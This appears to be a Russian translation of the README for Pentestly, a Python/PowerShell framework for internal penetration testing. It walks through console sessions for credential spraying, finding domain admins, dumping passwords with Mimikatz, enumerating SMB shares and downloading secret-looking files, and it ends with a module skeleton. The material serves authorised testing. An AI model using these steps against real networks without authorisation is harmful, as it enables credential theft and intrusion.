
Фреймворк для внутреннего тестирования на проникновение на Python и Powershell
Pentestly — это комбинация расширяемых инструментов на Python для использования в тестах на проникновение. Цель — использовать привычный пользовательский интерфейс, делая при этом добавление новых модулей в фреймворк лёгким благодаря мощи Python.
Запись в блоге: Pentestly Framework: When Pentesting Meets Python and Powershell
Автор: @ctfhacker / Cory Duplantis
Pentestly стоит на плечах гигантов. Ниже перечислены инструменты, используемые в Pentestly:
recon-ng — внутренняя база данных recon-ng прекрасно реализована и используется в Pentestly для работы с данными
wmiexec.py — позволяет быстро и легко выполнять команды PowerShell через WMI
smbmap.py — полезная утилита для перечисления SMB-ресурсов
Invoke-Mimikatz.ps1 — реализация Mimikatz в PowerShell
powercat.ps1 — функциональность, аналогичная Netcat, в PowerShell
Invoke-Shellcode.ps1 — развёртывание Meterpreter в PowerShell
CrackMapExec — источник вдохновения для простого сервера Mimikatz в Pentestly
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly
Рассмотрим несколько текущих реализованных функций.
[pentestly][default] > workspaces list
+------------+
| Workspaces |
+------------+
| default |
+------------+
[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options
Name Current Value Required Description
-------- ------------- -------- -----------
FILENAME /root/PROJECT/full-all-alive.xml yes Путь и имя файла для входных данных nmap XML
[pentestly][project][nmap_xml] > run
Использование файла с учётными данными для проверки входа
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run
Использование одиночных имени пользователя и пароля
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
Использование учётных данных по небольшому подмножеству IP т.е. по подсети 192.168.8.0/24, найденной в таблице
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'
[pentestly][project][login] > load get_domain # Обратите внимание на нечёткий поиск - get_domain находит get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE default yes источник входных данных (см. 'show info' для подробностей)
[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts
0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1
[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd - DOMAIN ADMIN!
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run
+---------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | | nsportsman | password1! | zojix | | | True | True | login |
+---------------------------------------------------------------------------------------------------------------+
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run
+--------------------------------------------------------------------------------------------------------------------------+
| host | access | username | password | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin | TheRealDA | </l33TPassword> | zojix | | | True | True | login |
+--------------------------------------------------------------------------------------------------------------------------+
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})
[pentestly][default][interesting_files] > show pentestly_shares
+------------------------------------------------------------------------------------------------+
| rowid | host | username | readwrite | readonly | noaccess | module |
+-------------------------------------------------------------------------------------------------+
| 1 | 192.168.224.252 | Administrator | | ADMIN$,C,C$,Users | IPC$ | enumshares |
+-------------------------------------------------------------------------------------------------+
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$ yes Регулярное выражение для поиска в именах файлов
SOURCE default yes источник входных данных (см. 'show info' для подробностей)
Можно изменить pattern на что-то более специализированное
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options
Name Current Value Required Description
------- ------------- -------- -----------
PATTERN important.txt|super_secret yes Регулярное выражение для поиска в именах файлов
SOURCE default yes источник входных данных (см. 'show info' для подробностей)
Выполнить и загрузить найденные файлы
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt
Создание новых модулей в Pentestly — просто. Начните с кода, представленного в skeleton.py:
from libs.pentestlymodule import PentestlyModule
class Module(PentestlyModule):
meta = {
'name': 'Your module name goes here',
'author': 'Developer name goes here',
'description': 'Description of the module goes here',
'query': 'SQL QUERY whose result is passed to your module',
'options': (
('Option1', 'Default Value', Required-True/False, 'Description of option'),
),
}
def module_pre(self):
# Optional
# Happens before your module
def module_run(self, data):
# Required
# data is the result from the SQL query set in the options
### Few magic functions
# self.query - Perform an SQL query on the internal database
results = self.query("select * from pentestly_creds")
# self.output - print default information to the user
self.output("Performed an SQL query")
self.output(results)
# self.alert - print successful message to the user
self.success("Yay! We performed successful work")
def module_post(self):
# Optional
# Happens after your module
Ключевые моменты: заполнить словарь meta соответствующей информацией, а также функцию module_run для реализации функциональности модуля.
Затем этот скрипт помещается в папку modules/ или в вашу личную папку ~/.pentestly/modules для портативности.
Следите за подробным объяснением примера скрипта в ближайшие недели.
secretsdump.pycreds, servicesНачальный выпуск